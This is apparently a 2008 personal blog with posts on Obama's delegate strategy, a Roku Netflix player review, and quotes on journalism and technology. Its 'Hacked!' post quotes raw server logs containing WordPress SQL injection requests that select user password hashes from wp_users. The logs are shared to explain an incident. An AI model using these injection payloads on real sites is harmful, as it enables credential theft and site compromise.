Delegateball

There’s been some fascinating coverage of the Obama campaign’s strategy for winning the Democratic nomination, including Justin Sizemore’s accounting of how the race played out in delegates and, earlier, Ben Smith and Avi Zenilman’s profile of Jeffrey Berman, Obama’s delegate counter. Reading these pieces together, I’m struck by the resemblance to Michael Lewis’s Moneyball.

It seems obvious in retrospect, but by focusing on delegates and the places where the largest marginal amount of delegates could be picked up — caucus states, congressional districts with odd numbers of delegates — the Obama campaign was paying attention to the right statistics. By contrast, thinking about about states won and lost or even the popular vote could be considered a distraction; it appears, from this distance, that that was what Clinton’s campaign was doing — early in the race, they focused on states won and, later, perhaps in a too self-serving way, on the popular vote.

Hendrick Hertzberg makes the good point that “the popular vote is a relevant moral category” even though it is a “juridical irrelevancy” for both the nominating process and the general election. This is clearly a place where American politics feel broken and out of step with modern-day democratic beliefs. However, in the real world, the metric on which a race is decided — delegate count or electoral college vote — is clearly the right one to focus on. At the end of the day, the Obama campaign, as winners generally do, looks very smart.

Roku Netflix Player

I’ve been a very happy Netflix subscriber for almost a decade. The wide selection of movies and lack of pressure about returning at any particular time works really well for me. We all know that
Netflix’s rent-by-mail model will be replaced by net-based delivery before too long
, but the video-on-slow-demand model has been more than good enough — if it went away without something better replacing it, I’d be upset. And so far, nothing seemed better from a convenience standpoint: I wanted to watch on my TV, not hook up a full computer to the TV, use a normal remote control, and pay a fixed price per month for whatever we watch.

Last week, I ordered the Roku Netflix player and it arrived tonight. Setting it up took about five minutes, the bulk of which was trying to reach the outlet behind the piece of furniture underneath the TV. After it was running, we could watch any of the “watch instantly” titles from our queue. Took about five to ten seconds after selecting something for it to start playing.

The UI is pretty minimal, which is exactly what one wants. Rather than a fancy device which does a lot of things, this plays movies from Netflix. Period. Pausing, rewinding, and fast forwarding all work with a nice, Coverflow-esque UI. Queue management is not done on the player but on a normal web browser on some other machine.

The biggest drawback is that the selection available to watch instantly is still limited — about 10% of the things on my DVD queue were available for instant watching. That doesn’t bother me, because we’ll keep up our usual Netflix subscription and use this as a supplement until the world ends up cutting over to online delivery.

The other drawback we’ve hit is that you don’t have access to subtitles from the DVD. Apparently closed-captioning may be available for some things, but the subtitles usually interfere much less with programming than closed captions. We tend to watch with the sound fairly low and subtitles on after the kids are in bed. But, we can live with this.

For $100, I’m pretty happy with the box.

Hacked!

Last week, this blog was hacked. As far as hacks go, it was pretty minor: traffic coming from search engines was redirected to a spammy search engine (your-needs.info) with the query from the Referer header being passed along. Traffic from other links apparently didn’t get redirected.

The hack is described at the wordpress forums and appears to be spreading.

I’ve been running an ancient version of WordPress and had meant to upgrade, but it never seemed urgent; hopefully, I’ve learned that lesson. While upgrading, I decided to upgrade from the default WordPress 1.X theme I was using to this very nice Classy theme by Benedikt Rieke-Benninghaus, though I’ve already started tweaking it.

Thanks to Mike Hochster for telling me that my blog was broken and Brian White for pointing me at easy instructions for keeping WordPress up to date.

For the curious, I suspect the attack corresponded to one of the following log entries:

84.244.147.70 - - [27/May/2008:21:29:19 -0400] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 398 "-" "-"
84.244.147.70 - - [27/May/2008:21:29:44 -0400] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 398 "-" "-"
84.244.147.70 - - [27/May/2008:21:29:44 -0400] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 398 "-" "-"
84.244.147.70 - - [27/May/2008:21:29:44 -0400] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 398 "-" "-"
84.244.147.70 - - [27/May/2008:21:29:44 -0400] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 398 "-" "-"
84.244.147.70 - - [27/May/2008:21:29:44 -0400] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 398 "-" "-"
87.118.112.44 - - [27/May/2008:21:35:34 -0400] "HEAD /wp-admin/ HTTP/1.1" 302 916 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:34 -0400] "HEAD /wp-login.php?action=logout HTTP/1.1" 302 782 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:35 -0400] "POST /wp-admin/admin-ajax.php HTTP/1.1" 404 391 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:35 -0400] "GET /xmlrpc.php HTTP/1.1" 200 209 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:35 -0400] "POST /xmlrpc.php HTTP/1.1" 200 941 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:36 -0400] "POST /wp-trackback.php?tb_id=1 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:36 -0400] "GET /index.php?cat=%2527+UNION+SELECT+CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58))+FROM+wp_users+where+id=1/* HTTP/1.1" 200 8256 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:37 -0400] "GET /index.php?cat=999+UNION+SELECT+null,CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58)),null,null,null+FROM+wp_users+where+id=1/* HTTP/1.1" 200 8256 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:37 -0400] "GET /wp-trackback.php?p=1 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:38 -0400] "GET /wp-trackback.php?p=2 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:38 -0400] "GET /wp-trackback.php?p=3 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:38 -0400] "GET /wp-trackback.php?p=4 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:39 -0400] "GET /wp-trackback.php?p=5 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:39 -0400] "GET /wp-trackback.php?p=6 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:39 -0400] "GET /wp-trackback.php?p=7 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:40 -0400] "GET /wp-trackback.php?p=8 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:41 -0400] "GET /wp-trackback.php?p=9 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:41 -0400] "GET /wp-trackback.php?p=10 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:42 -0400] "GET /wp-trackback.php?p=11 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:42 -0400] "GET /wp-trackback.php?p=12 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:42 -0400] "GET /wp-trackback.php?p=13 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:43 -0400] "GET /wp-trackback.php?p=14 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:43 -0400] "GET /wp-trackback.php?p=15 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:43 -0400] "GET /wp-trackback.php?p=16 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:44 -0400] "GET /wp-trackback.php?p=17 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:44 -0400] "GET /wp-trackback.php?p=18 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:44 -0400] "GET /wp-trackback.php?p=19 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:45 -0400] "GET /wp-trackback.php?p=20 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:45 -0400] "GET /wp-trackback.php?p=21 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:45 -0400] "GET /wp-trackback.php?p=22 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:46 -0400] "GET /wp-trackback.php?p=23 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:46 -0400] "GET /wp-trackback.php?p=24 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:46 -0400] "GET /wp-trackback.php?p=25 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:47 -0400] "POST /wp-trackback.php?p=1 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"

What we do (and what I do)

Udi Manber wrote a blog post introducting search quality at Google. As Udi says, we are “quite secretive about what we do” and this is a nice, simple summary of the sorts of thing we work on and what we think about. I’m on the ranking team but have spent more and more of my time over recent years thinking about the intersection between ranking and user interface.

The Speech

During my commute yesterday, I listened to Barack Obama’s speech in Philadelphia on race and religion. It was amazing and inspiring, but not in the usual way one expects to use the words. The oratory was rarely soaring and it didn’t build to huge crescendos.

Instead, what made the speech so good was the combination of Obama’s honesty and the sense he was not talking down to his audience. I heard a smart, black constitutional lawyer speaking about American history, politics, race, religion, and his personal story in simple, straightforward language. This shouldn’t be shocking, but it is. There was no political correctness, no “red meat” for the diehards, no sound-bite pablum, and no simple answers. I felt like I was being treated as a thinking adult, not a demographic, not just a vote up for grabs.

If you’ve only seen or read clips of the speech, I recommend reading or listening to the whole thing. It’s one of those moments we should aspire to.

(Thanks to Dave Winer for the link.)

How to Deliver Information

“Tell me what you know, then tell me what you don’t know, and only then can you tell me what you think. Always keep those three separated.”

— Colin Powell to Mike McConnell, summer 1990, as reported in Lawrence Wright, A Reporter at Large: The Spymaster, The New Yorker, January 21, 2008

The article’s well worth reading and quite scary, I thought, both for the incompetence of the “intelligence community” and the frightening steps McConnell wants to take to make it effective, but I loved directness and efficiency of Powell’s advice.

The Folly of Independents

I am an independent and looking for a president with integrity. Should I vote for John McCain or Barack Obama?

Didn’t we all swear to stop picking the candidate who would be most fun to go on a picnic with? You’re torn between the guy who’s been against the war from the beginning and the guy who’s willing to stay in Iraq for 100 years? Between the guy who wants to pay for a $50 billion-a-year health care program by eliminating tax cuts for the wealthy, and the guy who wants to keep the tax cuts and pay for them by cutting the budget? Get a grip.

— Gail Collins, A Voter’s Guide, The New York Times, February 2, 2007

Collins’s comment is absolutely true: on almost all policy issues where there is a difference between candidates, Obama and McCain disagree. So there should be no difficulty for anyone with political opinions in picking between them. But, a campaign between them would, like any other presidential contest, largely be decided by who attracts the most “independent” voters. I guess I just don’t understand voters without a strong bias towards one or the other party.

And yet, even though I consider Collins’s hypothetical question silly, I’m a lifelong Democrat and liberal who finds McCain appealing. (I even cast the sole vote in my life for a Republican for him. It was in the California primary in 2000, when Gore had sewn up the Democratic nomination and I was hoping against hope that Bush, who, it was clear would make a terrible President, would not get the Republican nomination. Even though McCain, with his independent appeal, was clearly more electable.) I won’t vote for McCain in the general election and am ecstatic to be voting for Obama, especially in a primary where my vote actually matters. But I also can relate to the politics of personality, where both candidates, based on their integrity and clarity of vision, pull the attention of voters from across the spectrum.

An Editorial Voice

Adolph S. Ochs, New-York, Aug. 18, 1896:

To undertake the management of The New-York Times, with its great history for right doing, and to attempt to keep bright the lustre which Henry J. Raymond and George Jones have given it is an extraordinary task. But if a sincere desire to conduct a high-standard newspaper, clean, dignified, and trustworthy, requires honesty, watchfulness, earnestness, industry, and practical knowledge applied with common sense, I entertain the hope that I can succeed in maintaining the high estimate that thoughtful, pure-minded people have ever had of The New-York Times.

It will be my earnest aim that The New-York Times give the news, all the news, in concise and attractive form, in language that is parliamentary in good society, and give it as early, if not earlier, than it can be learned through any other reliable medium; to give the news impartially, without fear or favor, regardless of party, sect, or interests involved; to make of the columns of The New-York Times a forum for the consideration of all questions of public importance, and to that end to invite intelligent discussion from all shades of opinion.

There will be no radical changes in the personnel of the present efficient staff. Mr. Charles R. Miller, who has so ably for many years presided over the editorial pages, will continue to be the editor; nor will there be a departure from the general tone and character and policies pursued with relation to public questions that have distinguished The New-York Times as a non-partisan newspaper — unless it be, if possible, to intensify its devotion to the cause of sound money and tariff reform, opposition to wastefulness and peculation in administering public affairs, and in its advocacy of the lowest tax consistent with good government, and no more government than is absolutely necessary to protect society, maintain individual and vested rights, and assure the free exercise of a sound conscience.

See more in History of the New York Times, 1851-1921 and and Discovering the News: A Social History of American Newspapers.

Amara’s Law and Martin’s Corollary

Roy Amara was apparently the person who said “We tend to overestimate the effect of a technology in the short run and underestimate the effect in the long run.” It’s a great observation, but my friend Charles Martin gave me an even better twist on it: “Change happens exponentially but we think linearly.” This is clearly a more specific statement, but, to someone used to thinking in mathematical terms, it gives a strong image of the relative adoption curves.

The reason I like Charles’s version so much, though, is that it also captures the seeds of a reason behind it: spread of a technology is often exponential because, like a disease, we have a probability of transmission from one person to surrounding people. As the “infected” population grows, so does the rate of adoption.